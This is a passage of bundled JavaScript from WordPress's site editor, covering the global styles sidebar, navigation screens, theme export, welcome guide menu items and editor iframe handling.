22965 return {
22966 canEditCSS: !!globalStyles?._links?.["wp:action-edit-css"]
22967 };
22968 }, []);
22969 const { setEditorCanvasContainerView } = unlock(
22970 (0,external_wp_data_.useDispatch)(store)
22971 );
22972 const loadCustomCSS = () => {
22973 setEditorCanvasContainerView("global-styles-css");
22974 };
22975 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesMenuFill, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22976 external_wp_components_namespaceObject.DropdownMenu,
22977 {
22978 icon: more_vertical_default,
22979 label: (0,external_wp_i18n_namespaceObject.__)("More"),
22980 toggleProps: { size: "compact" },
22981 children: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
22982 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, { children: [
22983 canEditCSS && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, { onClick: loadCustomCSS, children: (0,external_wp_i18n_namespaceObject.__)("Additional CSS") }),
22984 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22985 external_wp_components_namespaceObject.MenuItem,
22986 {
22987 onClick: () => {
22988 toggle(
22989 "core/edit-site",
22990 "welcomeGuideStyles"
22991 );
22992 onClose();
22993 },
22994 children: (0,external_wp_i18n_namespaceObject.__)("Welcome Guide")
22995 }
22996 )
22997 ] }),
22998 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22999 external_wp_components_namespaceObject.MenuItem,
23000 {
23001 onClick: () => {
23002 onReset();
23003 onClose();
23004 },
23005 disabled: !canReset,
23006 children: (0,external_wp_i18n_namespaceObject.__)("Reset styles")
23007 }
23008 ) })
23009 ] })
23010 }
23011 ) });
23012}
23013function GlobalStylesNavigationScreen({ className, ...props }) {
23014 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23015 external_wp_components_namespaceObject.Navigator.Screen,
23016 {
23017 className: [
23018 "edit-site-global-styles-sidebar__navigator-screen",
23019 className
23020 ].filter(Boolean).join(" "),
23021 ...props
23022 }
23023 );
23024}
23025function BlockStylesNavigationScreens({
23026 parentMenu,
23027 blockStyles,
23028 blockName
23029}) {
23030 return blockStyles.map((style, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23031 GlobalStylesNavigationScreen,
23032 {
23033 path: parentMenu + "/variations/" + style.name,
23034 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_block_default, { name: blockName, variation: style.name })
23035 },
23036 index
23037 ));
23038}
23039function ContextScreens({ name, parentMenu = "" }) {
23040 const blockStyleVariations = (0,external_wp_data_.useSelect)(
23041 (select) => {
23042 const { getBlockStyles } = select(external_wp_blocks_namespaceObject.store);
23043 return getBlockStyles(name);
23044 },
23045 [name]
23046 );
23047 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
23048 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23049 GlobalStylesNavigationScreen,
23050 {
23051 path: parentMenu + "/colors/palette",
23052 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_color_palette_default, { name })
23053 }
23054 ),
23055 !!blockStyleVariations?.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23056 BlockStylesNavigationScreens,
23057 {
23058 parentMenu,
23059 blockStyles: blockStyleVariations,
23060 blockName: name
23061 }
23062 )
23063 ] });
23064}
23065function GlobalStylesStyleBook() {
23066 const navigator = (0,external_wp_components_namespaceObject.useNavigator)();
23067 const { path } = navigator.location;
23068 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23069 style_book_default,
23070 {
23071 isSelected: (blockName) => (
23072 // Match '/blocks/core%2Fbutton' and
23073 // '/blocks/core%2Fbutton/typography', but not
23074 // '/blocks/core%2Fbuttons'.
23075 path === `/blocks/${encodeURIComponent(blockName)}` || path.startsWith(
23076 `/blocks/${encodeURIComponent(blockName)}/`
23077 )
23078 ),
23079 onSelect: (blockName) => {
23080 if (STYLE_BOOK_COLOR_GROUPS.find(
23081 (group) => group.slug === blockName
23082 )) {
23083 navigator.goTo("/colors/palette");
23084 return;
23085 }
23086 if (blockName === "typography") {
23087 navigator.goTo("/typography");
23088 return;
23089 }
23090 navigator.goTo("/blocks/" + encodeURIComponent(blockName));
23091 }
23092 }
23093 );
23094}
23095function GlobalStylesBlockLink() {
23096 const navigator = (0,external_wp_components_namespaceObject.useNavigator)();
23097 const { selectedBlockName, selectedBlockClientId } = (0,external_wp_data_.useSelect)(
23098 (select) => {
23099 const { getSelectedBlockClientId, getBlockName } = select(external_wp_blockEditor_namespaceObject.store);
23100 const clientId = getSelectedBlockClientId();
23101 return {
23102 selectedBlockName: getBlockName(clientId),
23103 selectedBlockClientId: clientId
23104 };
23105 },
23106 []
23107 );
23108 const blockHasGlobalStyles = useBlockHasGlobalStyles(selectedBlockName);
23109 (0,external_wp_element_.useEffect)(() => {
23110 if (!selectedBlockClientId || !blockHasGlobalStyles) {
23111 return;
23112 }
23113 const currentPath = navigator.location.path;
23114 if (currentPath !== "/blocks" && !currentPath.startsWith("/blocks/")) {
23115 return;
23116 }
23117 const newPath = "/blocks/" + encodeURIComponent(selectedBlockName);
23118 if (newPath !== currentPath) {
23119 navigator.goTo(newPath, { skipFocus: true });
23120 }
23121 }, [selectedBlockClientId, selectedBlockName, blockHasGlobalStyles]);
23122}
23123function GlobalStylesEditorCanvasContainerLink() {
23124 const { goTo, location } = (0,external_wp_components_namespaceObject.useNavigator)();
23125 const editorCanvasContainerView = (0,external_wp_data_.useSelect)(
23126 (select) => unlock(select(store)).getEditorCanvasContainerView(),
23127 []
23128 );
23129 const path = location?.path;
23130 const isRevisionsOpen = path === "/revisions";
23131 (0,external_wp_element_.useEffect)(() => {
23132 switch (editorCanvasContainerView) {
23133 case "global-styles-revisions":
23134 case "global-styles-revisions:style-book":
23135 if (!isRevisionsOpen) {
23136 goTo("/revisions");
23137 }
23138 break;
23139 case "global-styles-css":
23140 goTo("/css");
23141 break;
23142 // The stand-alone style book is open
23143 // and the revisions panel is open,
23144 // close the revisions panel.
23145 // Otherwise keep the style book open while
23146 // browsing global styles panel.
23147 //
23148 // Falling through as it matches the default scenario.
23149 case "style-book":
23150 default:
23151 if (isRevisionsOpen) {
23152 goTo("/", { isBack: true });
23153 }
23154 break;
23155 }
23156 }, [editorCanvasContainerView, isRevisionsOpen, goTo]);
23157}
23158function useNavigatorSync(parentPath, onPathChange) {
23159 const navigator = (0,external_wp_components_namespaceObject.useNavigator)();
23160 const { path: childPath } = navigator.location;
23161 const previousParentPath = (0,external_wp_compose_namespaceObject.usePrevious)(parentPath);
23162 const previousChildPath = (0,external_wp_compose_namespaceObject.usePrevious)(childPath);
23163 (0,external_wp_element_.useEffect)(() => {
23164 if (parentPath !== childPath) {
23165 if (parentPath !== previousParentPath) {
23166 navigator.goTo(parentPath);
23167 } else if (childPath !== previousChildPath) {
23168 onPathChange(childPath);
23169 }
23170 }
23171 }, [
23172 onPathChange,
23173 parentPath,
23174 previousChildPath,
23175 previousParentPath,
23176 childPath,
23177 navigator
23178 ]);
23179}
23180function NavigationSync({ path: parentPath, onPathChange, children }) {
23181 useNavigatorSync(parentPath, onPathChange);
23182 return children;
23183}
23184function GlobalStylesUI({ path, onPathChange }) {
23185 const blocks = (0,external_wp_blocks_namespaceObject.getBlockTypes)();
23186 const editorCanvasContainerView = (0,external_wp_data_.useSelect)(
23187 (select) => unlock(select(store)).getEditorCanvasContainerView(),
23188 []
23189 );
23190 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
23191 external_wp_components_namespaceObject.Navigator,
23192 {
23193 className: "edit-site-global-styles-sidebar__navigator-provider",
23194 initialPath: "/",
23195 children: [
23196 path && onPathChange && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationSync, { path, onPathChange }),
23197 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, { path: "/", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_root_default, {}) }),
23198 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, { path: "/variations", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_style_variations_default, {}) }),
23199 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, { path: "/blocks", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_block_list_default, {}) }),
23200 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, { path: "/typography", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_typography_default, {}) }),
23201 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, { path: "/typography/font-sizes", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(font_sizes_default, {}) }),
23202 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, { path: "/typography/font-sizes/:origin/:slug", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(font_size_default, {}) }),
23203 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, { path: "/typography/text", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_typography_element_default, { element: "text" }) }),
23204 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, { path: "/typography/link", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_typography_element_default, { element: "link" }) }),
23205 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, { path: "/typography/heading", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_typography_element_default, { element: "heading" }) }),
23206 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, { path: "/typography/caption", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_typography_element_default, { element: "caption" }) }),
23207 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, { path: "/typography/button", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_typography_element_default, { element: "button" }) }),
23208 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, { path: "/colors", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_colors_default, {}) }),
23209 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, { path: "/shadows", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ScreenShadows, {}) }),
23210 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, { path: "/shadows/edit/:category/:slug", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ScreenShadowsEdit, {}) }),
23211 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, { path: "/layout", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_layout_default, {}) }),
23212 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, { path: "/css", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_css_default, {}) }),
23213 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, { path: "/revisions", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_revisions_default, {}) }),
23214 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, { path: "/background", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_background_default, {}) }),
23215 blocks.map((block) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23216 GlobalStylesNavigationScreen,
23217 {
23218 path: "/blocks/" + encodeURIComponent(block.name),
23219 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_block_default, { name: block.name })
23220 },
23221 "menu-block-" + block.name
23222 )),
23223 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ContextScreens, {}),
23224 blocks.map((block) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23225 ContextScreens,
23226 {
23227 name: block.name,
23228 parentMenu: "/blocks/" + encodeURIComponent(block.name)
23229 },
23230 "screens-block-" + block.name
23231 )),
23232 "style-book" === editorCanvasContainerView && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesStyleBook, {}),
23233 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesActionMenu, {}),
23234 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesBlockLink, {}),
23235 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesEditorCanvasContainerLink, {})
23236 ]
23237 }
23238 );
23239}
23240var ui_default = GlobalStylesUI;
23241
23242
23243;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/index.js
23244
23245
23246
23247;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles-sidebar/default-sidebar.js
23248
23249
23250
23251const { ComplementaryArea, ComplementaryAreaMoreMenuItem } = unlock(external_wp_editor_namespaceObject.privateApis);
23252function DefaultSidebar({
23253 className,
23254 identifier,
23255 title,
23256 icon,
23257 children,
23258 closeLabel,
23259 header,
23260 headerClassName,
23261 panelClassName,
23262 isActiveByDefault
23263}) {
23264 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
23265 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23266 ComplementaryArea,
23267 {
23268 className,
23269 scope: "core",
23270 identifier,
23271 title,
23272 icon,
23273 closeLabel,
23274 header,
23275 headerClassName,
23276 panelClassName,
23277 isActiveByDefault,
23278 children
23279 }
23280 ),
23281 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23282 ComplementaryAreaMoreMenuItem,
23283 {
23284 scope: "core",
23285 identifier,
23286 icon,
23287 children: title
23288 }
23289 )
23290 ] });
23291}
23292
23293
23294;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles-sidebar/index.js
23295
23296
23297
23298
23299
23300
23301
23302
23303
23304
23305
23306
23307
23308
23309
23310
23311const { interfaceStore: global_styles_sidebar_interfaceStore } = unlock(external_wp_editor_namespaceObject.privateApis);
23312const { useLocation: global_styles_sidebar_useLocation } = unlock(external_wp_router_namespaceObject.privateApis);
23313function GlobalStylesSidebar() {
23314 const { query } = global_styles_sidebar_useLocation();
23315 const { canvas = "view", name } = query;
23316 const {
23317 shouldClearCanvasContainerView,
23318 isStyleBookOpened,
23319 showListViewByDefault,
23320 hasRevisions,
23321 isRevisionsOpened,
23322 isRevisionsStyleBookOpened
23323 } = (0,external_wp_data_.useSelect)(
23324 (select) => {
23325 const { getActiveComplementaryArea: getActiveComplementaryArea2 } = select(global_styles_sidebar_interfaceStore);
23326 const { getEditorCanvasContainerView } = unlock(
23327 select(store)
23328 );
23329 const canvasContainerView = getEditorCanvasContainerView();
23330 const _isVisualEditorMode = "visual" === select(external_wp_editor_namespaceObject.store).getEditorMode();
23331 const _isEditCanvasMode = "edit" === canvas;
23332 const _showListViewByDefault = select(external_wp_preferences_.store).get(
23333 "core",
23334 "showListViewByDefault"
23335 );
23336 const { getEntityRecord, __experimentalGetCurrentGlobalStylesId } = select(external_wp_coreData_namespaceObject.store);
23337 const globalStylesId = __experimentalGetCurrentGlobalStylesId();
23338 const globalStyles = globalStylesId ? getEntityRecord("root", "globalStyles", globalStylesId) : void 0;
23339 return {
23340 isStyleBookOpened: "style-book" === canvasContainerView,
23341 shouldClearCanvasContainerView: "edit-site/global-styles" !== getActiveComplementaryArea2("core") || !_isVisualEditorMode || !_isEditCanvasMode,
23342 showListViewByDefault: _showListViewByDefault,
23343 hasRevisions: !!globalStyles?._links?.["version-history"]?.[0]?.count,
23344 isRevisionsStyleBookOpened: "global-styles-revisions:style-book" === canvasContainerView,
23345 isRevisionsOpened: "global-styles-revisions" === canvasContainerView
23346 };
23347 },
23348 [canvas]
23349 );
23350 const { setEditorCanvasContainerView } = unlock(
23351 (0,external_wp_data_.useDispatch)(store)
23352 );
23353 const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
23354 (0,external_wp_element_.useEffect)(() => {
23355 if (shouldClearCanvasContainerView) {
23356 setEditorCanvasContainerView(void 0);
23357 }
23358 }, [shouldClearCanvasContainerView, setEditorCanvasContainerView]);
23359 const { setIsListViewOpened } = (0,external_wp_data_.useDispatch)(external_wp_editor_namespaceObject.store);
23360 const toggleRevisions = () => {
23361 setIsListViewOpened(false);
23362 if (isRevisionsStyleBookOpened) {
23363 setEditorCanvasContainerView("style-book");
23364 return;
23365 }
23366 if (isRevisionsOpened) {
23367 setEditorCanvasContainerView(void 0);
23368 return;
23369 }
23370 if (isStyleBookOpened) {
23371 setEditorCanvasContainerView(
23372 "global-styles-revisions:style-book"
23373 );
23374 } else {
23375 setEditorCanvasContainerView("global-styles-revisions");
23376 }
23377 };
23378 const toggleStyleBook = () => {
23379 if (isRevisionsOpened) {
23380 setEditorCanvasContainerView(
23381 "global-styles-revisions:style-book"
23382 );
23383 return;
23384 }
23385 if (isRevisionsStyleBookOpened) {
23386 setEditorCanvasContainerView("global-styles-revisions");
23387 return;
23388 }
23389 setIsListViewOpened(isStyleBookOpened && showListViewByDefault);
23390 setEditorCanvasContainerView(
23391 isStyleBookOpened ? void 0 : "style-book"
23392 );
23393 };
23394 const { getActiveComplementaryArea } = (0,external_wp_data_.useSelect)(global_styles_sidebar_interfaceStore);
23395 const { enableComplementaryArea } = (0,external_wp_data_.useDispatch)(global_styles_sidebar_interfaceStore);
23396 const previousActiveAreaRef = (0,external_wp_element_.useRef)(null);
23397 (0,external_wp_element_.useEffect)(() => {
23398 if (name === "styles" && canvas === "edit") {
23399 previousActiveAreaRef.current = getActiveComplementaryArea("core");
23400 enableComplementaryArea("core", "edit-site/global-styles");
23401 } else if (previousActiveAreaRef.current) {
23402 enableComplementaryArea("core", previousActiveAreaRef.current);
23403 }
23404 }, [name, enableComplementaryArea, canvas, getActiveComplementaryArea]);
23405 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23406 DefaultSidebar,
23407 {
23408 className: "edit-site-global-styles-sidebar",
23409 identifier: "edit-site/global-styles",
23410 title: (0,external_wp_i18n_namespaceObject.__)("Styles"),
23411 icon: styles_default,
23412 closeLabel: (0,external_wp_i18n_namespaceObject.__)("Close Styles"),
23413 panelClassName: "edit-site-global-styles-sidebar__panel",
23414 header: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
23415 external_wp_components_namespaceObject.Flex,
23416 {
23417 className: "edit-site-global-styles-sidebar__header",
23418 gap: 1,
23419 children: [
23420 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", { className: "edit-site-global-styles-sidebar__header-title", children: (0,external_wp_i18n_namespaceObject.__)("Styles") }) }),
23421 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
23422 external_wp_components_namespaceObject.Flex,
23423 {
23424 justify: "flex-end",
23425 gap: 1,
23426 className: "edit-site-global-styles-sidebar__header-actions",
23427 children: [
23428 !isMobileViewport && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23429 external_wp_components_namespaceObject.Button,
23430 {
23431 icon: seen_default,
23432 label: (0,external_wp_i18n_namespaceObject.__)("Style Book"),
23433 isPressed: isStyleBookOpened || isRevisionsStyleBookOpened,
23434 accessibleWhenDisabled: true,
23435 disabled: shouldClearCanvasContainerView,
23436 onClick: toggleStyleBook,
23437 size: "compact"
23438 }
23439 ) }),
23440 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23441 external_wp_components_namespaceObject.Button,
23442 {
23443 label: (0,external_wp_i18n_namespaceObject.__)("Revisions"),
23444 icon: backup_default,
23445 onClick: toggleRevisions,
23446 accessibleWhenDisabled: true,
23447 disabled: !hasRevisions,
23448 isPressed: isRevisionsOpened || isRevisionsStyleBookOpened,
23449 size: "compact"
23450 }
23451 ) }),
23452 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesMenuSlot, {})
23453 ]
23454 }
23455 )
23456 ]
23457 }
23458 ),
23459 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ui_default, {})
23460 }
23461 );
23462}
23463
23464
23465;// ./node_modules/@wordpress/icons/build-module/library/download.js
23466
23467
23468var download_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18 11.3l-1-1.1-4 4V3h-1.5v11.3L7 10.2l-1 1.1 6.2 5.8 5.8-5.8zm.5 3.7v3.5h-13V15H4v5h16v-5h-1.5z" }) });
23469
23470
23471;// external ["wp","blob"]
23472const external_wp_blob_namespaceObject = window["wp"]["blob"];
23473;// ./node_modules/@wordpress/edit-site/build-module/components/more-menu/site-export.js
23474
23475
23476
23477
23478
23479
23480
23481
23482
23483function SiteExport() {
23484 const canExport = (0,external_wp_data_.useSelect)((select) => {
23485 const targetHints = select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?._links?.["wp:export-theme"]?.[0]?.targetHints ?? {};
23486 return !!targetHints.allow?.includes("GET");
23487 }, []);
23488 const { createErrorNotice } = (0,external_wp_data_.useDispatch)(external_wp_notices_namespaceObject.store);
23489 if (!canExport) {
23490 return null;
23491 }
23492 async function handleExport() {
23493 try {
23494 const response = await external_wp_apiFetch_default()({
23495 path: "/wp-block-editor/v1/export",
23496 parse: false,
23497 headers: {
23498 Accept: "application/zip"
23499 }
23500 });
23501 const blob = await response.blob();
23502 const contentDisposition = response.headers.get(
23503 "content-disposition"
23504 );
23505 const contentDispositionMatches = contentDisposition.match(/=(.+)\.zip/);
23506 const fileName = contentDispositionMatches[1] ? contentDispositionMatches[1] : "edit-site-export";
23507 (0,external_wp_blob_namespaceObject.downloadBlob)(fileName + ".zip", blob, "application/zip");
23508 } catch (errorResponse) {
23509 let error = {};
23510 try {
23511 error = await errorResponse.json();
23512 } catch (e) {
23513 }
23514 const errorMessage = error.message && error.code !== "unknown_error" ? error.message : (0,external_wp_i18n_namespaceObject.__)("An error occurred while creating the site export.");
23515 createErrorNotice(errorMessage, { type: "snackbar" });
23516 }
23517 }
23518 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23519 external_wp_components_namespaceObject.MenuItem,
23520 {
23521 role: "menuitem",
23522 icon: download_default,
23523 onClick: handleExport,
23524 info: (0,external_wp_i18n_namespaceObject.__)(
23525 "Download your theme with updated templates and styles."
23526 ),
23527 children: (0,external_wp_i18n_namespaceObject._x)("Export", "site exporter menu item")
23528 }
23529 );
23530}
23531
23532
23533;// ./node_modules/@wordpress/edit-site/build-module/components/more-menu/welcome-guide-menu-item.js
23534
23535
23536
23537
23538
23539function WelcomeGuideMenuItem() {
23540 const { toggle } = (0,external_wp_data_.useDispatch)(external_wp_preferences_.store);
23541 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, { onClick: () => toggle("core/edit-site", "welcomeGuide"), children: (0,external_wp_i18n_namespaceObject.__)("Welcome Guide") });
23542}
23543
23544
23545;// ./node_modules/@wordpress/edit-site/build-module/components/more-menu/index.js
23546
23547
23548
23549
23550
23551const { ToolsMoreMenuGroup, PreferencesModal } = unlock(external_wp_editor_namespaceObject.privateApis);
23552function MoreMenu() {
23553 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
23554 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(ToolsMoreMenuGroup, { children: [
23555 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SiteExport, {}),
23556 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideMenuItem, {})
23557 ] }),
23558 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferencesModal, {})
23559 ] });
23560}
23561
23562
23563;// ./node_modules/@wordpress/edit-site/build-module/components/block-editor/use-editor-iframe-props.js
23564
23565
23566
23567
23568
23569
23570
23571
23572
23573const { useLocation: use_editor_iframe_props_useLocation, useHistory: use_editor_iframe_props_useHistory } = unlock(external_wp_router_namespaceObject.privateApis);
23574function useEditorIframeProps() {
23575 const { query, path } = use_editor_iframe_props_useLocation();
23576 const history = use_editor_iframe_props_useHistory();
23577 const { canvas = "view" } = query;
23578 const currentPostIsTrashed = (0,external_wp_data_.useSelect)((select) => {
23579 return select(external_wp_editor_namespaceObject.store).getCurrentPostAttribute("status") === "trash";
23580 }, []);
23581 const [isFocused, setIsFocused] = (0,external_wp_element_.useState)(false);
23582 (0,external_wp_element_.useEffect)(() => {
23583 if (canvas === "edit") {
23584 setIsFocused(false);
23585 }
23586 }, [canvas]);
23587 const viewModeIframeProps = {
23588 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Edit"),
23589 "aria-disabled": currentPostIsTrashed,
23590 title: null,
23591 role: "button",
23592 tabIndex: 0,
23593 onFocus: () => setIsFocused(true),
23594 onBlur: () => setIsFocused(false),
23595 onKeyDown: (event) => {
23596 const { keyCode } = event;
23597 if ((keyCode === external_wp_keycodes_namespaceObject.ENTER || keyCode === external_wp_keycodes_namespaceObject.SPACE) && !currentPostIsTrashed) {
23598 event.preventDefault();
23599 history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(path, { canvas: "edit" }), {
23600 transition: "canvas-mode-edit-transition"
23601 });
23602 }
23603 },
23604 onClick: () => history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(path, { canvas: "edit" }), {
23605 transition: "canvas-mode-edit-transition"
23606 }),
23607 onClickCapture: (event) => {
23608 if (currentPostIsTrashed) {
23609 event.preventDefault();
23610 event.stopPropagation();
23611 }
23612 },
23613 readonly: true
23614 };
23615 return {
23616 className: dist_clsx("edit-site-visual-editor__editor-canvas", {
23617 "is-focused": isFocused && canvas === "view"
23618 }),
23619 ...canvas === "view" ? viewModeIframeProps : {}
23620 };
23621}
23622
23623
23624;// ./node_modules/@wordpress/edit-site/build-module/components/routes/use-title.js
23625
23626
23627
23628
23629
23630
23631
23632
23633const { useLocation: use_title_useLocation } = unlock(external_wp_router_namespaceObject.privateApis);
23634function useTitle(title) {
23635 const location = use_title_useLocation();
23636 const siteTitle = (0,external_wp_data_.useSelect)(
23637 (select) => select(external_wp_coreData_namespaceObject.store).getEntityRecord("root", "site")?.title,
23638 []
23639 );
23640 const isInitialLocationRef = (0,external_wp_element_.useRef)(true);
23641 (0,external_wp_element_.useEffect)(() => {
23642 isInitialLocationRef.current = false;
23643 }, [location]);
23644 (0,external_wp_element_.useEffect)(() => {
23645 if (isInitialLocationRef.current) {
23646 return;
23647 }
23648 if (title && siteTitle) {
23649 const formattedTitle = (0,external_wp_i18n_namespaceObject.sprintf)(
23650 /* translators: Admin document title. 1: Admin screen name, 2: Network or site name. */
23651 (0,external_wp_i18n_namespaceObject.__)("%1$s \u2039 %2$s \u2039 Editor \u2014 WordPress"),
23652 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title),
23653 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(siteTitle)
23654 );
23655 document.title = formattedTitle;
23656 (0,external_wp_a11y_namespaceObject.speak)(title, "assertive");
23657 }
23658 }, [title, siteTitle, location]);
23659}
23660
23661
23662;// ./node_modules/@wordpress/edit-site/build-module/components/editor/use-editor-title.js
23663
23664
23665
23666
23667
